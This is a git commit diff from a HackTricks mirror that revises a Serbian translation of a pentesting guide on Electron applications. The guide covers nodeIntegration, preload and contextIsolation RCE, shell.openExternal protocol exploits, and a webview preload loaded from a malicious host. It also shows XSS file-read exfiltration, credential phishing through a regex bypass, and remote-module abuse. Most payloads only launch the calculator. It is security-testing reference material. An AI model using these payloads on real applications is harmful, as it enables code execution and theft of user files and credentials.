mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
cb7a34932b
commit
cea17c5fb8
@ -4,27 +4,27 @@
|
|||||||
|
|
||||||
## Uvod
|
## Uvod
|
||||||
|
|
||||||
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki bezbednosni mehanizmi modernih pregledača.
|
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pretraživača.
|
||||||
|
|
||||||
Obično možete pronaći kod Electron aplikacije unutar `.asar` aplikacije; da biste dobili kod, potrebno ga je ekstrahovati:
|
Obično možete naći kod Electron aplikacije unutar `.asar` arhive; da biste dobili kod, potrebno je da je izdvojite:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar destfolder #Extract everything
|
npx asar extract app.asar destfolder #Extract everything
|
||||||
npx asar extract-file app.asar main.js #Extract just a file
|
npx asar extract-file app.asar main.js #Extract just a file
|
||||||
```
|
```
|
||||||
U izvornom kodu Electron aplikacije, u fajlu `packet.json`, možete pronaći navedeni fajl `main.js` u kojem su podešene bezbednosne konfiguracije.
|
U izvornom kodu Electron aplikacije, u datoteci `packet.json`, možete pronaći specificiranu datoteku `main.js` u kojoj su podešene sigurnosne konfiguracije.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "standard-notes",
|
"name": "standard-notes",
|
||||||
"main": "./app/index.js",
|
"main": "./app/index.js",
|
||||||
```
|
```
|
||||||
Electron има 2 типа процеса:
|
Electron ima 2 tipa procesa:
|
||||||
|
|
||||||
- Главни процес (има пун приступ NodeJS)
|
- Main Process (ima potpuni pristup NodeJS-u)
|
||||||
- Рендерер процес (требало би да има ограничен приступ NodeJS из безбедносних разлога)
|
- Renderer Process (trebalo bi da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Рендерер процес ће бити прозор прегледача који учитава фајл:
|
A **renderer process** biće prozor pregledača koji učitava fajl:
|
||||||
```javascript
|
```javascript
|
||||||
const { BrowserWindow } = require("electron")
|
const { BrowserWindow } = require("electron")
|
||||||
let win = new BrowserWindow()
|
let win = new BrowserWindow()
|
||||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar fajla main.js. Neka od podešavanja mogu **sprečiti da Electron application dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**.
|
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** u fajlu main.js. Neka od podešavanja mogu **sprečiti Electron application da dobije RCE** ili druge ranjivosti ako su **podešavanja pravilno konfigurisana**.
|
||||||
|
|
||||||
Electron application može **pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči:
|
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
||||||
|
|
||||||
- **`nodeIntegration`** - podrazumevano je `off`. Ako je `on`, omogućava pristup Node funkcijama iz renderer process.
|
- **`nodeIntegration`** - je `off` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer procesa.
|
||||||
- **`contextIsolation`** - podrazumevano je `on`. Ako je `off`, main i renderer processes nisu izolovani.
|
- **`contextIsolation`** - je `on` po defaultu. Ako je `off`, main i renderer procesi nisu izolovani.
|
||||||
- **`preload`** - podrazumevano prazan.
|
- **`preload`** - prazan po defaultu.
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati.
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je `off` po defaultu. Ograničiće akcije koje NodeJS može izvršavati.
|
||||||
- Node Integration u Worker-ima
|
- Node Integration u Workers
|
||||||
- **`nodeIntegrationInSubframes`** - podrazumevano je `off`.
|
- **`nodeIntegrationInSubframes`** - je `off` po defaultu.
|
||||||
- Ako je **`nodeIntegration`** **omogućen**, to bi dozvolilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframe-ovima** unutar Electron application.
|
- Ako je **`nodeIntegration`** **enabled**, to bi omogućilo korišćenje **Node.js APIs** na web stranicama koje su **učitane u iframes** unutar Electron application.
|
||||||
- Ako je **`nodeIntegration`** **onemogućen**, onda će se preload-ovi učitavati u iframe-u
|
- Ako je **`nodeIntegration`** **disabled**, tada će preloads biti učitani u iframe
|
||||||
|
|
||||||
Primer konfiguracije:
|
Example of configuration:
|
||||||
```javascript
|
```javascript
|
||||||
const mainWindowOptions = {
|
const mainWindowOptions = {
|
||||||
title: "Discord",
|
title: "Discord",
|
||||||
@ -71,7 +71,7 @@ spellcheck: true,
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Neki **RCE payloads** sa [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
Neki **RCE payloads** iz [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||||
```html
|
```html
|
||||||
Example Payloads (Windows):
|
Example Payloads (Windows):
|
||||||
<img
|
<img
|
||||||
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
|||||||
```
|
```
|
||||||
### Presretanje saobraćaja
|
### Presretanje saobraćaja
|
||||||
|
|
||||||
Izmenite start-main konfiguraciju i dodajte upotrebu proxy-a kao na primer:
|
Izmenite konfiguraciju start-main i dodajte korišćenje proxy-ja, na primer:
|
||||||
```javascript
|
```javascript
|
||||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||||
```
|
```
|
||||||
## Lokalna injekcija koda u Electronu
|
## Electron Local Code Injection
|
||||||
|
|
||||||
Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da izvrši proizvoljni JavaScript kod. Pogledajte kako u:
|
Ako možete lokalno izvršiti Electron App, moguće je da biste ga mogli naterati da izvrši proizvoljan javascript kod. Pogledajte kako u:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -112,7 +112,7 @@ Ako možete lokalno pokrenuti Electron App, moguće je da ćete ga naterati da i
|
|||||||
|
|
||||||
## RCE: XSS + nodeIntegration
|
## RCE: XSS + nodeIntegration
|
||||||
|
|
||||||
Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavnim pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windowsu je:
|
Ako je **nodeIntegration** podešen na **on**, JavaScript na web stranici može lako da koristi Node.js funkcionalnosti jednostavno pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windows-u je:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require("child_process").exec("calc")
|
require("child_process").exec("calc")
|
||||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
|||||||
|
|
||||||
## RCE: preload
|
## RCE: preload
|
||||||
|
|
||||||
Skript naznačen u ovom podešavanju je **učitan pre ostalih skripti u renderer-u**, pa tako ima **neograničen pristup Node APIs**:
|
Skript naveden u ovom podešavanju je **učitan pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**:
|
||||||
```javascript
|
```javascript
|
||||||
new BrowserWindow{
|
new BrowserWindow{
|
||||||
webPreferences: {
|
webPreferences: {
|
||||||
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Dakle, skripta može da izveze node-features u stranice:
|
Dakle, skripta može izvoziti node-features na stranice:
|
||||||
```javascript:preload.js
|
```javascript:preload.js
|
||||||
typeof require === "function"
|
typeof require === "function"
|
||||||
window.runCalc = function () {
|
window.runCalc = function () {
|
||||||
@ -149,20 +149,20 @@ runCalc()
|
|||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
```
|
```
|
||||||
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće radati**
|
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi**
|
||||||
|
|
||||||
## RCE: XSS + contextIsolation
|
## RCE: XSS + contextIsolation
|
||||||
|
|
||||||
The _**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i internog JavaScript koda Electron-a** tako da izvršavanje JavaScript koda jedne strane ne utiče na drugu. Ovo je neophodna funkcija kako bi se eliminisala mogućnost RCE.
|
_**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electrona** tako da izvršavanje JavaScript-a jednog koda ne utiče na drugi. Ovo je neophodna funkcija za eliminisanje mogućnosti RCE.
|
||||||
|
|
||||||
Ako konteksti nisu izolovani, napadač može:
|
Ako konteksti nisu izolovani, napadač može:
|
||||||
|
|
||||||
1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigacija ka eksternim sajtovima)
|
1. Izvršiti **arbitrary JavaScript in renderer** (XSS ili navigaciju ka eksternim sajtovima)
|
||||||
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili u internom Electron kodu da bi preuzeo kontrolu nad funkcijom
|
2. **Prepisati ugrađenu metodu** koja se koristi u preload ili unutrašnjem Electron kodu da bi se preuzela kontrola nad funkcijom
|
||||||
3. **Pokrenuti** korišćenje **prepisane funkcije**
|
3. **Pokrenuti** upotrebu **prepisane funkcije**
|
||||||
4. RCE?
|
4. RCE?
|
||||||
|
|
||||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
Postoje 2 mesta gde ugrađene metode mogu biti prepisane: u preload kodu ili u unutrašnjem Electron kodu:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
|||||||
electron-contextisolation-rce-via-ipc.md
|
electron-contextisolation-rce-via-ipc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Zaobilaženje događaja klika
|
### Zaobilaženje click event-a
|
||||||
|
|
||||||
Ako postoje ograničenja koja se primenjuju kada kliknete na link, možda ih možete zaobići **srednjim klikom** umesto regularnog levog klika
|
Ako su primenjena ograničenja prilikom klika na link, možda ih možeš zaobići **srednjim klikom** umesto regularnog levog klika
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
## RCE putem shell.openExternal
|
## RCE via shell.openExternal
|
||||||
|
|
||||||
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||||
|
|
||||||
Prilikom raspoređivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron's native code iz main process-a bude efikasno sprečena kada su ova podešavanja aktivna.
|
Prilikom objavljivanja Electron desktop aplikacije, ključno je osigurati ispravna podešavanja za `nodeIntegration` i `contextIsolation`. Uspostavljeno je da **client-side remote code execution (RCE)** usmereno na preload skripte ili native kod Electrona iz glavnog procesa biva efikasno onemogućeno kada su ta podešavanja primenjena.
|
||||||
|
|
||||||
Kada korisnik interaguje sa linkovima ili otvori novi prozor, aktiviraju se određeni slušači događaja koji su ključni za bezbednost i funkcionalnost aplikacije:
|
Kada korisnik interaguje sa linkovima ili otvori nova prozora, pokreću se određeni event listener-i koji su ključni za bezbednost i funkcionalnost aplikacije:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
Ovi slušači su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li navigacioni link treba da se otvori interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju `openInternally`. Ako ova funkcija vrati `false`, to znači da link treba da se otvori eksterno, koristeći funkciju `shell.openExternal`.
|
Ovi listeneri su **prepisani od strane desktop aplikacije** kako bi implementirali sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li treba otvoriti navigisani link interno ili u eksternom web browseru. Odluka se obično donosi pomoću funkcije, `openInternally`. Ako ta funkcija vraća `false`, to znači da link treba otvoriti eksterno, koristeći `shell.openExternal` funkciju.
|
||||||
|
|
||||||
**Here is a simplified pseudocode:**
|
**Evo pojednostavljenog pseudokoda:**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Preporuke za sigurnost Electron JS-a savetuju da se izbegava prihvatanje nepouzdanog sadržaja pomoću funkcije `openExternal`, jer to može dovesti do RCE preko različitih protokola. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalje objašnjenje o ovoj temi, može se pogledati [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobne da iskoriste ovu ranjivost.
|
Najbolje bezbednosne prakse za Electron JS ne preporučuju prihvatanje nepouzdanog sadržaja preko `openExternal` funkcije, jer to može dovesti do RCE-a kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu okinuti RCE. Za detaljne primere i dodatno objašnjenje na ovu temu, pogledajte [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih da iskoriste ovu ranjivost.
|
||||||
|
|
||||||
U macos-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
Na macos-u, `openExternal` funkcija se može iskoristiti za izvršavanje proizvoljnih komandi, kao na primer u `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||||
|
|
||||||
**Primeri Windows protocol exploits uključuju:**
|
**Primeri Windows protokol exploata uključuju:**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open(
|
window.open(
|
||||||
@ -230,15 +230,15 @@ window.open(
|
|||||||
```
|
```
|
||||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||||
|
|
||||||
This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
Ova ranjivost se može naći u **[ovom izveštaju](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||||
|
|
||||||
The **webviewTag** is a **zastarela funkcija** koja omogućava upotrebu **NodeJS** u **renderer procesu**, i treba biti onemogućena jer dozvoljava učitavanje skripte unutar preload konteksta, na primer:
|
The **webviewTag** je **zastarela funkcija** koja omogućava upotrebu **NodeJS** u **renderer process**, koju treba onemogućiti jer omogućava učitavanje skripte unutar **preload context** kao:
|
||||||
```xml
|
```xml
|
||||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||||
```
|
```
|
||||||
Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi koristiti taj tag da **load an arbitrary preload script**.
|
Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi да iskoristi taj tag да **učita proizvoljan preload script**.
|
||||||
|
|
||||||
Ovaj preload script je potom bio zloupotrebljen da pozove **vulnerable IPC service (`skype-new-window`)** koji je pozivao **`shell.openExternal`** kako bi dobio RCE:
|
Taj preload script je zatim био zloupotrebljen да pozove **ranjivu IPC uslugu (`skype-new-window`)** koja је pozivala **`shell.openExternal`** да би ostvarila RCE:
|
||||||
```javascript
|
```javascript
|
||||||
(async() => {
|
(async() => {
|
||||||
const { ipcRenderer } = require("electron");
|
const { ipcRenderer } = require("electron");
|
||||||
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
|||||||
```
|
```
|
||||||
## Čitanje internih fajlova: XSS + contextIsolation
|
## Čitanje internih fajlova: XSS + contextIsolation
|
||||||
|
|
||||||
**Isključivanje `contextIsolation` omogućava upotrebu `<webview>` tagova**, sličnih `<iframe>`, za čitanje i iznošenje lokalnih fajlova. Primer prikazan demonstrira kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:
|
**Onemogućavanje `contextIsolation` omogućava upotrebu `<webview>` tagova**, slično `<iframe>`, za čitanje i exfiltrating lokalnih fajlova. Primer u nastavku pokazuje kako iskoristiti ovu ranjivost da se pročita sadržaj internih fajlova:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Dalje, prikazan je još jedan metod za **čitanje internog fajla**, koji ukazuje na kritičnu lokalnu ranjivost za čitanje fajlova u Electron desktop app. Ovo uključuje ubacivanje skripte da bi se iskoristila aplikacija i izvršila eksfiltracija podataka:
|
Dalje, podeljen je još jedan metod za **čitanje internog fajla**, koji ističe kritičnu ranjivost za lokalno čitanje fajlova u Electron desktop aplikaciji. Ovo uključuje injecting a script to exploit the application and exfiltrate data:
|
||||||
```html
|
```html
|
||||||
<br /><br /><br /><br />
|
<br /><br /><br /><br />
|
||||||
<h1>
|
<h1>
|
||||||
@ -273,43 +273,43 @@ frames[0].document.body.innerText
|
|||||||
```
|
```
|
||||||
## **RCE: XSS + Stari Chromium**
|
## **RCE: XSS + Stari Chromium**
|
||||||
|
|
||||||
Ako je **chromium** koji aplikacija koristi **stari**, i postoje **poznate** **vulnerabilities** na njemu, može biti moguće **eksploatisati ga i dobiti RCE kroz XSS**.\
|
Ako je **chromium** koji aplikacija koristi **zastareo** i postoje **poznate** **ranjivosti** u njemu, možda je moguće **iskoristiti ih i dobiti RCE kroz XSS**.\
|
||||||
Primer možete videti u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **XSS Phishing via Internal URL regex bypass**
|
## **XSS Phishing via Internal URL regex bypass**
|
||||||
|
|
||||||
Ako pronađete XSS, ali **ne možete pokrenuti RCE ili ukrasti interne fajlove**, možete pokušati da ga iskoristite za **krađu kredencijala putem phishing-a**.
|
Pretpostavimo da ste pronašli XSS ali ne možete da **pokrenete RCE ili ukradete interne fajlove** — možete pokušati da ga iskoristite da **ukradete kredencijale putem phishinga**.
|
||||||
|
|
||||||
Pre svega, treba da znate šta se dešava kada pokušate da otvorite novu URL adresu, proverom JS koda u front-endu:
|
Prvo treba da znate šta se dešava kada pokušate da otvorite novi URL, proveravajući JS kod u front-endu:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||||
```
|
```
|
||||||
Poziv **`openInternally`** odlučuje da li će se **link** **otvoriti** u **desktop window** jer pripada platformi, **ili** će biti otvoren u **browser as a 3rd party resource**.
|
Poziv funkcije **`openInternally`** odlučiće da li će **link** biti **opened** u **desktop window** pošto je to link koji pripada platformi, **or** će biti otvoren u **browser as a 3rd party resource**.
|
||||||
|
|
||||||
U slučaju da je **regex** koji koristi funkcija **vulnerable to bypasses** (na primer **not escaping the dots of subdomains**) napadač bi mogao iskoristiti XSS da **open a new window which** bude lociran na infrastrukturi napadača i **asking for credentials** od korisnika:
|
U slučaju da je **regex** koji funkcija koristi **vulnerable to bypasses** (na primer **not escaping the dots of subdomains**) napadač može iskoristiti XSS da **open a new window which** će se nalaziti na infrastrukturi napadača i **asking for credentials** od korisnika:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## `file://` Протокол
|
## `file://` Protokol
|
||||||
|
|
||||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **прилагођени протокол** спречава овакве проблеме јер можете ограничити протокол да служи само одређени скуп фајлова.
|
Kao što je pomenuto u [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću preko **`file://`** imaju jednostran pristup svim fajlovima na vašem računaru, što znači da **XSS ranjivosti mogu biti iskorišćene za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol da servira samo određeni skup fajlova.
|
||||||
|
|
||||||
## Remote module
|
## Remote module
|
||||||
|
|
||||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
The Electron Remote module omogućava **renderer processes to access main process APIs**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne sigurnosne rizike. Povećava površinu napada aplikacije, čineći je podložnijom ranjivostima kao što su cross-site scripting (XSS) napadi.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Иако **remote** module излаже неке APIs из main-а renderer процесима, није једноставно добити RCE само злоупотребом компоненти. Међутим, компоненте могу открити осетљиве информације.
|
> Iako **remote** modul izlaže neke API-je iz main u renderer processes, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu otkriti osetljive informacije.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Многе апликације које и даље користе remote module то раде на начин који захтева да **NodeIntegration буде омогућен** у renderer процесу, што је **огроман безбедносни ризик**.
|
> Mnoge aplikacije koje još uvek koriste remote module to rade tako da je potrebno omogućiti **NodeIntegration** u renderer process, što je **ogroman sigurnosni rizik**.
|
||||||
|
|
||||||
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
|
Od Electron 14 `remote` module može biti omogućen u nekoliko koraka, ali iz bezbednosnih i performansnih razloga **se preporučuje da se ne koristi**.
|
||||||
|
|
||||||
To enable it, it'd first needed to **enable it in the main process**:
|
Da biste ga omogućili, prvo je potrebno **enable it in the main process**:
|
||||||
```javascript
|
```javascript
|
||||||
const remoteMain = require('@electron/remote/main')
|
const remoteMain = require('@electron/remote/main')
|
||||||
remoteMain.initialize()
|
remoteMain.initialize()
|
||||||
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
|
|||||||
})
|
})
|
||||||
remoteMain.enable(mainWindow.webContents)
|
remoteMain.enable(mainWindow.webContents)
|
||||||
```
|
```
|
||||||
Zatim, renderer proces može da importuje objekte iz modula na sledeći način:
|
Zatim, renderer proces može da uvozi objekte iz modula na sledeći način:
|
||||||
```javascript
|
```javascript
|
||||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
```
|
```
|
||||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
|
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
|
||||||
|
|
||||||
- **`app.relaunch([options])`**
|
- **`app.relaunch([options])`**
|
||||||
- **Ponovo pokreće** aplikaciju tako što zatvara trenutnu instancu i pokreće novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
|
- **Ponovo pokreće** aplikaciju zatvaranjem trenutne instance i pokretanjem nove. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
|
||||||
- **`app.setAppLogsPath([path])`**
|
- **`app.setAppLogsPath([path])`**
|
||||||
- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **preuzeti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
|
- **Definiše** ili **kreira** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **dobiti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
|
||||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za navedeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
|
- **Registruje** trenutni izvršni fajl kao **podrazumevani rukovalac** za određeni **protokol**. Možete navesti **prilagođenu putanju** i **argumente** po potrebi.
|
||||||
- **`app.setUserTasks(tasks)`**
|
- **`app.setUserTasks(tasks)`**
|
||||||
- **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji **argumenti** se prosleđuju.
|
- **Dodaje** zadatke u kategoriju **Tasks** u **Jump List** (na Windows). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koji se **argumenti** prosleđuju.
|
||||||
- **`app.importCertificate(options, callback)`**
|
- **`app.importCertificate(options, callback)`**
|
||||||
- **Uvozi** PKCS#12 sertifikat u sistemski **certificate store** (samo Linux). **Callback** se može koristiti za obradu rezultata.
|
- **Uvozi** **PKCS#12 certificate** u sistemsko **skladište sertifikata** (samo Linux). Može se koristiti **callback** za obradu rezultata.
|
||||||
- **`app.moveToApplicationsFolder([options])`**
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
- **Premešta** aplikaciju u fasciklu **Applications** (na macOS). Pomaže da se obezbedi **standardna instalacija** za macOS korisnike.
|
- **Premešta** aplikaciju u **Applications folder** (na macOS). Pomaže da se obezbedi **standardna instalacija** za korisnike macOS-a.
|
||||||
- **`app.setJumpList(categories)`**
|
- **`app.setJumpList(categories)`**
|
||||||
- **Postavlja** ili **uklanja** prilagođeni **Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci prikazuju korisniku.
|
- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows**. Možete navesti **kategorije** da organizujete kako se zadaci pojavljuju korisniku.
|
||||||
- **`app.setLoginItemSettings(settings)`**
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
- **Konfiguriše** koji **izvršni fajlovi** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows).
|
- **Konfiguriše** koje **izvršne datoteke** se pokreću pri **prijavi** zajedno sa njihovim **opcijama** (samo macOS i Windows).
|
||||||
|
|
||||||
Example:
|
Primer:
|
||||||
```javascript
|
```javascript
|
||||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||||
Native.app.exit()
|
Native.app.exit()
|
||||||
```
|
```
|
||||||
## systemPreferences modul
|
## systemPreferences modul
|
||||||
|
|
||||||
**Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** su sve **deo** ovog modula.
|
**Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** su sve **deo** ovog modula.
|
||||||
|
|
||||||
**Primer upotrebe:**
|
**Primer upotrebe:**
|
||||||
```javascript
|
```javascript
|
||||||
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
|
|||||||
```
|
```
|
||||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||||
|
|
||||||
* **Osluškuje** **ugrađene macOS notifikacije** koristeći NSDistributedNotificationCenter.
|
* **Osluškuje** native macOS notifications koristeći NSDistributedNotificationCenter.
|
||||||
* Pre **macOS Catalina**, moglo se prisluškivati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver.
|
* Pre macOS Catalina, moglo se sniff-ovati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver.
|
||||||
